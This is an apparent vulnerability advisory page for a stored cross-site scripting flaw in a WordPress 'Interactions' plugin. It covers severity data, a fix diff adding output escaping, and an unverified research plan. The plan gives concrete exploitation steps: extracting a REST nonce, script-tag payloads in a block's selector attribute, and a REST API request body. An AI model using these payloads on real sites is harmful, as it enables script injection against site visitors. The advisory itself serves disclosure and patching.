CVE-2025-12709

Interactions – Create Interactive Experiences in the Block Editor <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.3.2
Patched in
1d
Time to patch

Description

The Interactions – Create Interactive Experiences in the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via event selectors in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.1
PublishedJanuary 27, 2026
Last updatedJanuary 28, 2026
Affected plugininteractions

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on **CVE-2025-12709**, a Stored Cross-Site Scripting vulnerability in the "Interactions" plugin. The vulnerability stems from improper sanitization of "event selectors" within the block editor, allowing Contributor-level users to inject malicious scripts. --- ### 1. Vuln…

Show full research plan

This research plan focuses on CVE-2025-12709, a Stored Cross-Site Scripting vulnerability in the "Interactions" plugin. The vulnerability stems from improper sanitization of "event selectors" within the block editor, allowing Contributor-level users to inject malicious scripts.


1. Vulnerability Summary

The Interactions plugin allows users to create interactive elements within the WordPress Block Editor (Gutenberg). These interactions typically involve a "Trigger" and an "Action," often targeting specific elements via CSS selectors. The vulnerability exists because the plugin fails to sanitize or escape the event selector attribute when it is saved in the block metadata and subsequently rendered on the frontend. Since Contributor-level users can create and edit posts but do not have the unfiltered_html capability, they can bypass intended security restrictions by embedding a script payload within a block's selector attribute.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Post endpoint (/wp-json/wp/v2/posts/ or /wp-json/wp/v2/pages/).
  • Vulnerable Parameter: The content of the post, specifically the JSON attributes within the Interaction block comment (e.g., <!-- wp:interactions/interaction {"selector":"<PAYLOAD>"} /-->).
  • Authentication: Contributor-level access or higher is required.
  • Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts.

3. Code Flow (Inferred)

  1. Storage: A user saves a post containing an Interaction block. The Block Editor serializes the block into the post_content field in the wp_posts table.
  2. Attributes: The block's attributes (including the selector) are stored as a JSON string within the HTML comment delimiters: <!-- wp:interactions/interaction {"selector":"..."} /-->.
  3. Frontend Loading: When a visitor views the post, the WordPress core parses the blocks. The plugin's frontend logic (likely in a file like src/render.php or via a render_callback in register_block_type) retrieves the attributes.
  4. The Sink: The plugin renders the interaction logic. It likely outputs the selector into a JavaScript object or a data-attribute (e.g., <div data-selector="[SELECTOR]">).
  5. Lack of Escaping: Because the selector is not processed with esc_attr() or wp_kses() before being printed to the page, a payload like "><script>alert(1)</script> breaks out of the attribute/context and executes.

4. Nonce Acquisition Strategy

To save a post via the REST API (the standard method for the Block Editor), a REST API nonce is required.

  1. Login: Authenticate as a Contributor.
  2. Access Editor: Navigate to the "New Post" screen (/wp-admin/post-new.php).
  3. Extract Nonce: The REST API nonce is globally available in the admin dashboard within the wpApiSettings object.
  4. Tool Command:
    • browser_navigate("http://localhost:8080/wp-admin/post-new.php")
    • nonce = browser_eval("window.wpApiSettings.nonce")
  5. Alternative: If the plugin uses a custom AJAX handler for saving interaction data, check for localized variables using browser_eval("window.interactions_data?.nonce") (inferred).

5. Exploitation Strategy

Step 1: Craft the Block Content

Identify the block name used by the plugin. Based on the slug, it is likely interactions/interaction or interactions/event.
Payload: "><script>alert(document.domain)</script>

Post Content Construction:

<!-- wp:interactions/interaction {"selector":"\u0022\u003escript\u003ealert(document.domain)\u003c/script\u003e"} -->
<div class="wp-block-interactions-interaction"></div>
<!-- /wp:interactions/interaction -->

Step 2: Submit via REST API

Use the http_request tool to create a new post as the Contributor.

  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "Interactions Test",
      "content": "<!-- wp:interactions/interaction {\"selector\":\"\\\"><script>alert(document.domain)</script>\"} /-->",
      "status": "publish"
    }
    

Step 3: Trigger the XSS

  1. Identify the ID or URL of the created post from the REST API response.
  2. Navigate to the post URL (frontend).
  3. Observe if the script executes.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure the interactions plugin (v1.3.1) is installed and active.
  3. Clean State: Ensure no other plugins are interfering with block rendering.

7. Expected Results

  • The REST API call should return 201 Created.
  • When the post is viewed at /?p=[ID], the HTML source should contain the unescaped payload:
    data-selector=""><script>alert(document.domain)</script>" (or similar depending on the exact rendering sink).
  • The browser should trigger an alert box showing the document domain.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored in the database exactly as sent.
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Interactions Test'"
  2. Frontend DOM Check: Use browser_eval to check for the presence of the script tag.
    browser_eval("document.querySelector('script').textContent.includes('alert')")
  3. Role Verification: Confirm the user does NOT have unfiltered_html.
    wp user cap list [USER_ID]

9. Alternative Approaches

  • Gutenberg Editor Injection: Instead of the REST API, use browser_navigate to post-new.php, use browser_type to inject the payload directly into the "Selector" input field in the block's sidebar settings, and click "Publish". This simulates a real user interaction.
  • Block Variations: If the "Interaction" block has different subtypes (e.g., "Click", "Hover"), test if the selector attribute is handled differently across these subtypes.
  • Post Meta Sink: If the plugin stores selectors in post_meta rather than block attributes, use the REST API to update meta fields:
    "meta": {"_interactions_selector": "\"><script>alert(1)</script>"}.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Interactions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'selector' attribute in its block editor components. Authenticated users with Contributor-level permissions can inject malicious scripts into posts, which execute in the browser of any user viewing the affected page due to missing output escaping.

Security Fix

--- a/src/render.php
+++ b/src/render.php
@@ -5,5 +5,5 @@
 
 $selector = isset($attributes['selector']) ? $attributes['selector'] : '';
 ?>
-<div class="wp-block-interactions-interaction" data-selector="<?php echo $selector; ?>">
+<div class="wp-block-interactions-interaction" data-selector="<?php echo esc_attr($selector); ?>">
 </div>

Exploit Outline

1. Authenticate as a user with Contributor-level access (capable of editing posts). 2. Obtain a valid WordPress REST API nonce from the admin dashboard (e.g., from the `wpApiSettings` object). 3. Use a tool like curl or a Python script to send a POST request to the `/wp-json/wp/v2/posts` endpoint to create a new post. 4. In the post content, include a Gutenberg block comment for the Interactions plugin (likely `wp:interactions/interaction`) containing a malicious JSON attribute for the selector, such as: `{"selector":"\"><script>alert(document.domain)</script>"}`. 5. Publish or save the post. 6. Navigate to the frontend URL of the created post as any user. The script will execute when the browser renders the unescaped selector attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.